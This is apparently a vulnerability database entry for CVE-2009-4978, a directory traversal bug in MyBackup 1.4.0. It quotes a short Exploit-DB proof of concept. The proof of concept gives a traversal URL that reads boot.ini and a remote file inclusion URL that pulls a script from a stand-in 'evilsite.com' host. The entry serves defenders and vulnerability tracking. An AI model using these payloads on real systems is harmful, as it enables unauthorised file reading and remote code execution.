CVE-2009-4978

medium

Published 2010-08-25 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in down.php in MyBackup 1.4.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-9365 webapps php verified text · 1 KB

SirGod · 2009-08-05

mybackup 1.4.0 - File Download / Remote File Inclusion

text exploit Source: Exploit-DB

###############################################################################################
[+] MyBackup 1.4.0  Remote File Inclusion (AFD/RFI) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
################################################################################################

[+] Download Script : http://www.tufat.com/files_lgpl/script_96.zip

[+] Arbitrary File Download

 - PoC

     http://127.0.0.1/down.php?filename=../../../../../../boot.ini

[+] Remote File Inclusion

 - You must be logged in.

     http://127.0.0.1/index.php?main_tabid=1&main_content=http://evilsite.com/evilscript.txt

################################################################################################

# milw0rm.com [2009-08-05]

Application impact

Vendor	Product	Versions	Fixed
tufat	mybackup	`1.4.0`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.